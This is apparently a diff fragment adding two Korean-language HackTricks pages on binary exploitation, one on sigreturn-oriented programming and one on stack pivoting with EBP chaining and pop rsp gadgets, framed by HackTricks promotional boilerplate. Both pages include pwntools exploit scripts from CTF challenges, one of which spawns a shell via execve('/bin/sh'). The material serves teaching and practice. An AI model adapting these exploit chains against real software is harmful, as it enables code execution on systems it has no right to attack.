* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>

View file

@ -0,0 +1,85 @@
# SROP - Sigreturn-Oriented Programming
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
HackTricks를 지원하는 다른 방법:
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details>
## 기본 정보
**`Sigreturn`**은 주로 **시그널 핸들러가 실행을 완료한 후 정리하는 데 사용되는 특수 **시스템 호출**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 일반적으로 어떤 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 **시그널 핸들러**로 시그널을 처리하는 특수 함수로 이동합니다.
시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 필요합니다. 이는 프로그램이 **시그널 핸들러에서 반환**하고 시그널 핸들러에서 사용된 **스택 프레임**(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
흥미로운 부분은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 스택 포인터 레지스터(RSP)를 포함하여 CPU의 레지스터를 포함합니다.
{% hint style="danger" %}
ROP 체인에서 **`sigreturn`**을 호출하고 **레지스트리 값**을 **스택**에 로드하면 모든 레지스터 값을 **제어**할 수 있으며 따라서 예를 들어 `/bin/sh`를 사용하여 `execve` 시스템 호출을 **호출**할 수 있습니다.
{% endhint %}
이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 **Ret2syscall 유형**이 될 것임을 주목하세요:
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
더 나은 설명을 위해 다음도 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## 예제
[**여기에서 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), 그러나 이것은 거기서의 최종 exploit입니다:
```python
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## 참고 자료
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
</details>

View file

@ -0,0 +1,165 @@
# 스택 피벗팅 - EBP2Ret - EBP 체이닝
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요.**
</details>
## 기본 정보
이 기술은 **베이스 포인터 (EBP)**를 조작하여 EBP 레지스터와 `leave; ret` 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 악용합니다.
`leave`는 기본적으로 다음을 의미합니다:
```
movl %ebp, %esp
popl %ebp
ret
```
### EBP2Ret
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접적으로 변경할 방법이 없을 때 특히 유용**합니다. 함수가 실행을 마치면서 발생하는 동작을 활용합니다.
`fvuln`의 실행 중에 스택에 가짜 EBP를 삽입하여 해당 위치가 쉘코드 주소가 있는 메모리 영역을 가리키도록 관리한다면 (pop 작업을 고려하여 4바이트를 더한 위치), 간접적으로 EIP를 제어할 수 있습니다. `fvuln`이 반환될 때 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 실제로 쉘코드를 가리키도록 만듭니다. `ret` 명령이 실행되면 제어가 쉘코드로 전달됩니다.
#### Exploit 구성
먼저 실행 가능한 메모리의 어딘가에 **쉘코드를 삽입**하고 **주소를 가져오거나**, 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)의 주소를 가져오거나, ESP를 `system()`의 주소와 **4바이트의 쓰레기 바이트**`"/bin/sh"`의 주소가 있는 위치로 지정해야 합니다.
그런 다음, 패딩을 생성하고 `shellcode/one_gadget 주소 - 4`로 EBP를 **손상**시켜야 합니다. `pop` 때문에 `-4`여야 합니다. 그런 다음 `ESP`는 우리가 원하는 주소를 가리키게 되고 `ret`가 실행됩니다.
#### Off-By-One Exploit
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우** 사용됩니다. 이 경우 쉘코드 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하므로 더 제약 조건이 있는 유사한 조작이 가능합니다.
### **EBP Chaining**
따라서 스택의 `EBP` 항목에 제어 가능한 주소를 넣고 `EIP``leave; ret`의 주소를 넣으면 **`ESP`를 스택에서 제어 가능한 `EBP` 주소로 이동**할 수 있습니다.
이제 **`ESP`**가 원하는 주소를 가리키고 실행할 다음 명령이 `RET`인 상태입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 배치할 수 있습니다:
* **`&(다음 가짜 EBP)`** -> `leave` 명령의 `pop ebp`로 새로운 EBP를 로드합니다.
* **`system()`** -> `ret`에 의해 호출됩니다.
* **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
* **`&("/bin/sh")`**-> `system`의 매개변수
이 방법을 사용하면 프로그램의 흐름을 제어하기 위해 여러 가짜 EBP를 연결할 수 있습니다.
솔직히 말해서, 이것은 [ret2lib](ret2lib/)와 유사하지만 명백한 이점은 없지만 일부 특수한 경우에 흥미로울 수 있습니다.
또한, 여기에는 이 기술을 사용하여 **우승 함수를 호출하는 승리 함수를 호출하는** **스택 누출**이 있는 [**도전 과제 예제**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이 페이지의 최종 페이로드는 다음과 같습니다:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## RSP를 제어하는 다른 방법
### **`pop rsp`** 가젯
[**이 페이지**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 **`pop rsp` 가젯**이 있었으며 **스택에서의 leak**이 있었습니다:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<rag>, rsp 가젯
```
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
```
## 참고 자료
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
<details>
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>